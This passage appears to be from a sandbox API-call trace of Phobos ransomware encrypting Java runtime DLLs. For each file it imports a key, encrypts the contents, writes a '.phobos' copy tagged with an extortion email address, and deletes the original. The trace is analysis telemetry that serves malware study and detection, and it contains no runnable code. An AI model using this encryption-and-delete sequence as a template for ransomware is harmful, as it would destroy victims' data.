lpOverlapped=0x0) returned 1 [0134.668] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752d58) returned 1 [0134.668] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.668] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50, dwBufLen=0x50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50) returned 1 [0134.668] CryptDestroyKey (hKey=0x752d58) returned 1 [0134.668] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x102, lpOverlapped=0x0) returned 1 [0134.668] CryptDestroyKey (hKey=0x752e98) returned 1 [0134.668] CloseHandle (hObject=0x2f8) returned 1 [0134.668] CloseHandle (hObject=0x2f4) returned 1 [0134.668] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1 [0134.670] SetEvent (hEvent=0x298) returned 1 [0134.670] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.670] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=24640) returned 1 [0134.670] CloseHandle (hObject=0x2f4) returned 1 [0134.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0134.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.670] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.670] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.671] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752d98) returned 1 [0134.671] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.671] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x6040, lpOverlapped=0x0) returned 1 [0134.698] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x6050, dwBufLen=0x6050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x6050) returned 1 [0134.698] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x6050, lpOverlapped=0x0) returned 1 [0134.699] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752a18) returned 1 [0134.699] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.699] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.699] CryptDestroyKey (hKey=0x752a18) returned 1 [0134.699] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.699] CryptDestroyKey (hKey=0x752d98) returned 1 [0134.699] CloseHandle (hObject=0x2f4) returned 1 [0134.700] CloseHandle (hObject=0x2f8) returned 1 [0134.700] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1 [0134.701] SetEvent (hEvent=0x298) returned 1 [0134.701] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.701] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=274496) returned 1 [0134.701] CloseHandle (hObject=0x2f8) returned 1 [0134.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0134.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.701] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.701] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.702] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0134.702] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.702] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x43040, lpOverlapped=0x0) returned 1 [0134.734] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x43050, dwBufLen=0x43050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x43050) returned 1 [0134.734] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x43050, lpOverlapped=0x0) returned 1 [0134.739] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753018) returned 1 [0134.739] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.739] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.739] CryptDestroyKey (hKey=0x753018) returned 1 [0134.739] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.739] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.739] CloseHandle (hObject=0x2f8) returned 1 [0134.739] CloseHandle (hObject=0x2f4) returned 1 [0134.741] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1 [0134.743] SetEvent (hEvent=0x298) returned 1 [0134.743] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.744] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=265792) returned 1 [0134.744] CloseHandle (hObject=0x2f4) returned 1 [0134.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0134.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.744] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.744] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.745] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753198) returned 1 [0134.745] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.745] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x40e40, lpOverlapped=0x0) returned 1 [0134.789] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40e50, dwBufLen=0x40e50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40e50) returned 1 [0134.789] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x40e50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x40e50, lpOverlapped=0x0) returned 1 [0134.794] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752c58) returned 1 [0134.794] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.794] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.794] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.794] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.794] CryptDestroyKey (hKey=0x753198) returned 1 [0134.794] CloseHandle (hObject=0x2f4) returned 1 [0134.794] CloseHandle (hObject=0x2f8) returned 1 [0134.794] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 1 [0134.797] SetEvent (hEvent=0x298) returned 1 [0134.797] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.797] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=455744) returned 1 [0134.797] CloseHandle (hObject=0x2f8) returned 1 [0134.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0134.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.797] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.797] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.798] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0134.798] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.798] ReadFile (in: hFile=0x2f8, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x6f440, lpOverlapped=0x0) returned 1 [0134.857] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x6f450, dwBufLen=0x6f450 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x6f450) returned 1 [0134.858] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x6f450, lpOverlapped=0x0) returned 1 [0134.865] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752b18) returned 1 [0134.865] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.865] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.865] CryptDestroyKey (hKey=0x752b18) returned 1 [0134.865] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.865] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.865] CloseHandle (hObject=0x2f8) returned 1 [0134.865] CloseHandle (hObject=0x2f4) returned 1 [0134.865] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1 [0134.869] SetEvent (hEvent=0x298) returned 1 [0134.869] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.869] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=158272) returned 1 [0134.869] CloseHandle (hObject=0x2f4) returned 1 [0134.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0134.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0134.869] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.869] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.870] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x753098) returned 1 [0134.870] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.870] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x26a40, lpOverlapped=0x0) returned 1 [0134.880] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x26a50, dwBufLen=0x26a50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x26a50) returned 1 [0134.880] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x26a50, lpOverlapped=0x0) returned 1 [0134.883] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752cd8) returned 1 [0134.883] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0134.883] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0134.883] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.883] WriteFile (in: hFile=0x2f8, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0134.883] CryptDestroyKey (hKey=0x753098) returned 1 [0134.883] CloseHandle (hObject=0x2f4) returned 1 [0134.883] CloseHandle (hObject=0x2f8) returned 1 [0134.883] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1 [0134.885] SetEvent (hEvent=0x298) returned 1 [0134.885] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0134.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.885] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=123456) returned 1 [0134.885] CloseHandle (hObject=0x2f8) returned 1 [0134.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0134.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.885] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0134.885] SetFilePointerEx (in: 